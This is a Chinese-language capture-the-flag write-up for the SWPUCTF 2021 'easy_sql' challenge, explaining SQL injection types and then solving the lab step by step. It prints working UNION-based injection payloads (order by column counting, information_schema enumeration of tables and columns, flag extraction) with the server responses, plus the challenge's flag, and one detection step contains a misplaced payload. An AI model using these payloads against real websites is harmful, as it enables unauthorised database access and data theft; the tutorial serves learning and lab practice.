[SWPUCTF 2021 新生赛]easy_sql

简介: [SWPUCTF 2021 新生赛]easy_sql

做题前必备知识:

参考链接:https://www.php.cn/faq/480557.html(SQL注入原理以及分类)

SQL 注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

SQL 注入分类

  1. 数字型注入

    当输入的参数为整型时,则有可能存在数字型注入漏洞。

    假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1

    可以对后台的 SQL 语句猜测为:

    SELECT * FROM table WHERE id=1

    判断数字型漏洞的 SQL 注入点:

    ① 先在输入框中输入一个单引号 '

    这样的 SQL 语句就会变为:

    SELECT * FROM table WHERE id=1',

    不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

    ② 在输入框中输入 and 1 = 1

    SQL语句变为:

    SELECT * FROM table WHERE id=1 and 1 = 1

    语句正确,执行正常,返回的数据与原始请求无任何差异。

    ③ 在数据库中输入 and 1 = 2

    SQL 语句变为:

    SELECT * FROM table WHERE id=1 and 1 = 2

    虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

    如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

  2. 字符型注入

    当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

    字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

    假设后台的 SQL 语句如下:

    SELECT * FROM table WHERE username = 'admin'

    判断字符型漏洞的 SQL 注入点:

    ① 还是先输入单引号 admin' 来测试

    这样的 SQL 语句就会变为:

    SELECT * FROM table WHERE username = 'admin''。

    页面异常。

    ② 输入:admin' and 1 = 1 --

    注意:在 admin 后有一个单引号 ',用于字符串闭合,最后还有一个注释符 --(两条杠后面还有一个空格!!!)。
    SQL 语句变为:

    SELECT * FROM table WHERE username = 'admin' and 1 = 1 --

    页面显示正确。

    ③ 输入:admin' and 1 = 2 --

    SQL 语句变为:<

    SELECT * FROM table WHERE username = 'admin' and 1 = 2 --

    页面错误。

    满足上面三个步骤则有可能存在字符型 SQL 注入。

3.搜索型注入

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字" 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%' 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

以下是一些常见的注入叫法:

POST注入:注入字段在 POST 数据中

Cookie注入:注入字段在 Cookie 数据中

延时注入:使用数据库延时特性注入

搜索注入:注入处为搜索的地方

base64注入:注入字符串需要经过 base64 加密

打开题目环境:

显示结果:
球球你输入点东西吧!
注意看标签:
参数是wllm
没看见没关系,F12查看源代码也可以看到。

初试题目:

拼接参数:
url/?wllm
无回显结果
url/?wllm=1
有回显结果:
Your Login name:xxx
Your Password:yyy
判断是否存在SQL字符型漏洞:

1. url/?wllm=1'(注意英文单引号闭合!)?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
2. url/?wllm='

有回显结果:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

显示报错信息,故存在SQL字符型注入漏洞

开始解题,拿flag:

存在SQL字符型注入漏洞,进而去尝试判断字段列数

1. url/?wllm=1' order by 1--+                       |                1. url/?wllm=1' group by 1--+ 
2. url/?wllm=1' order by 2--+                       |                2. url/?wllm=1' group by 2--+ 
3. url/?wllm=1' order by 3--+                       |                3. url/?wllm=1' group by 3--+ 
4. url/?wllm=1' order by 4--+                       |                4. url/?wllm=1' group by 4--+ 

4的回显结果报错:
Unknown column '4' in 'order clause'
故此数据列表只有3列
好了清楚字段列数就好多了

现在我们去查各个列数对应的列名:

                        url/?wllm=0' union select 1,2,3--+ (只有1有回显结果,必须让参数值错误才可以执行后面的代码!)

回显结果:
Your Login name:2
Your Password:3
由于flag通常是密码的意思,所以判断flag信息在第3列。

查第3列数据库:

        url/?wllm=0' union select 1,2,database()--+

回显结果为:
Your Login name:2
Your Password:test_db
第3列数据库名为test_db

知识补充:

GROUP_CONCAT函数用于将GROUP BY产生的同一个分组中的值连接起来,返回一个字符串结果
GROUP_CONCAT函数首先根据GROUP BY指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔,由函数参数(字段名)决定要返回的列
GROUP_CONCAT([DISTINCT] 要连接的字段 [ORDER BY 排序字段 ASC/DESC] [SEPARATOR '分隔符'])

查test_db数据库里面的数据表名:

                        url/?wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

回显结果为:
Your Login name:2
Your Password:test_tb,users
test_db数据库的数据表名为test_tb

爆字段:

    url/?wllm=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

回显结果为:
Your Login name:2
Your Password:id,flag
可以看出存在flag字段并且对应名为id的用户

爆flag字段,查看flag字段里面的内容

url/?wllm=0' union select 1,2,group_concat(id,flag) from test_tb--+

返回结果:
Your Login name:2
Your Password:1NSSCTF{418f8085-4c7c-44cf-9b7e-4922defa478e}

flag值:

NSSCTF{418f8085-4c7c-44cf-9b7e-4922defa478e}
目录
相关文章
|
6月前
|
SQL
leetcode-SQL-1693. 每天的领导和合伙人
leetcode-SQL-1693. 每天的领导和合伙人
39 0
|
3月前
[SWPUCTF 2022 新生赛]base64
[SWPUCTF 2022 新生赛]base64
57 0
|
6月前
|
SQL 关系型数据库 MySQL
零基础快速自学SQL,2天足矣
零基础快速自学SQL,2天足矣
126 0
|
PHP 数据安全/隐私保护 Python
[SWPUCTF 2021 新生赛]easy_md5
[SWPUCTF 2021 新生赛]easy_md5
228 0
|
SQL 开发框架 Java
2021-08-04大连东软实训第十一天---ssm框架,改造之前的项目,sql语句的学习,sql注入
2021-08-04大连东软实训第十一天---ssm框架,改造之前的项目,sql语句的学习,sql注入
85 0
|
SQL
LeetCode题霸刷题,让你滚瓜烂熟拿下SQL
SQL每个人都要用,但是用来衡量产出的并不是SQL本身,你需要用这个工具,去创造其它的价值。
393 32
LeetCode题霸刷题,让你滚瓜烂熟拿下SQL
|
SQL 存储 NoSQL
招募队友,和老表一起21天学完SQL必知必会,肝
招募队友,和老表一起21天学完SQL必知必会,肝
125 0
招募队友,和老表一起21天学完SQL必知必会,肝
|
SQL Oracle 关系型数据库
【恭贺新春,虎虎生威】SQL“福“到了
【恭贺新春,虎虎生威】SQL“福“到了
165 0
【恭贺新春,虎虎生威】SQL“福“到了
|
SQL 机器学习/深度学习 自然语言处理
万万没想到,BERT学会写SQL了
万万没想到,BERT学会写SQL了
万万没想到,BERT学会写SQL了
|
SQL Oracle 关系型数据库
【教奶奶学SQL】(task6)秋招秘籍B
练习一:行转列 假设 A B C 三位小朋友期末考试成绩如下所示:
110 0
【教奶奶学SQL】(task6)秋招秘籍B